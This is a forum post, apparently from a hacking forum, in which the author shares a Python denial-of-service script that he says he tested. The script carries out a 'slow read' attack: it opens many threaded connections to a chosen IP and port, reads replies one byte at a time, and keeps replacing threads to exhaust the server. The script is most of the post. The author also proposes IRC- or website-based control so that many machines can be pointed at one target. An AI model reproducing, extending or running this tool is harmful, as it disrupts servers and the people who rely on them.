Oct 17, 2013 10:56 AM
(This post was last modified: Oct 18, 2013 07:23 AM by _UserName_.)
I have seen lots of DOS Scripts on this forum, but most do not work that well. I have tested this one, and it actually works pretty well with little data traffic. The program works by connecting to its target and sending a request. The program then recieves the response ONE character at a time. To make things even worse for the server it has a delay built into it to take things even longer.
This actually works really well because you do not need high volume of traffic, but with more treads, the stronger it will hit. If you want more information about how it works, I have included it as comments at the top of the code.
You can get my code HERE.
Or here (Must do more formatting than pastebin link):
Please post your feedback and let me know how it works.
Might add code to allow for multiple computers to get there target from an IRC channel or website.
This actually works really well because you do not need high volume of traffic, but with more treads, the stronger it will hit. If you want more information about how it works, I have included it as comments at the top of the code.
You can get my code HERE.
Or here (Must do more formatting than pastebin link):
Code
#!/usr/bin/env python
# Created By _UserName_
#
# Will DOS a target by creating connections to it and slowly recieving data from the site, 1 character at a time.
# This type of attack is called a Slow Read DOS Attack.
# It is better than high volumne DOS attacks because it is quieter, and the more connections (threads) that are made,
# the stronger the attack will be.
#
# More Details:
# Check Out This Site: http://www.darkreading.com/attacks-breaches/new-denial-of-service-attack-cripples-we/232301367
import socket, threading, time
# Message To Send To The WebServer (RANDOM DATA RIGHT NOW)
MESSAGE = "asdfghjkloiuytrewqzxcvbnm\r\n"
# Character To Recieve Per Delay
BUFFER_LENGTH = 1
# Delay To Wait Between Recieves
DELAY = 0
# Number Of Currently Running Threads
runningThreads = 1
##
class DOS(threading.Thread):
def __init__(self, IP, PORT):
threading.Thread.__init__(self)
self.ip = IP
self.port = PORT
def run(self):
slow(self.ip, self.port)
def slow(ip, port):
try:
global runningThreads
runningThreads += 1
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(MESSAGE)
while True:
data = s.recv(BUFFER_LENGTH)
if not data:
break
time.sleep(DELAY)
runningThreads -= 1
except socket.error:
print 'DOWN'
except Exception, e:
print e
##
def main():
try:
IP = raw_input("TARGET IP:\n> ")
PORT = int(raw_input("PORT:\n> "))
T = int(raw_input("THREADS:\n> "))
except Exception, e:
print e
try:
for i in range(T):
threads = DOS(IP, PORT)
threads.start()
print '[*] Press CTRL + C To Exit'
print '[*] Running...'
while True:
if(runningThreads < T):
threads = DOS(IP, PORT)
threads.start()
except KeyboardInterrupt:
threads.join()
except Exception, e:
print e
if __name__ == '__main__':
main()
raw_input("Press [ENTER] To Exit...")Might add code to allow for multiple computers to get there target from an IRC channel or website.


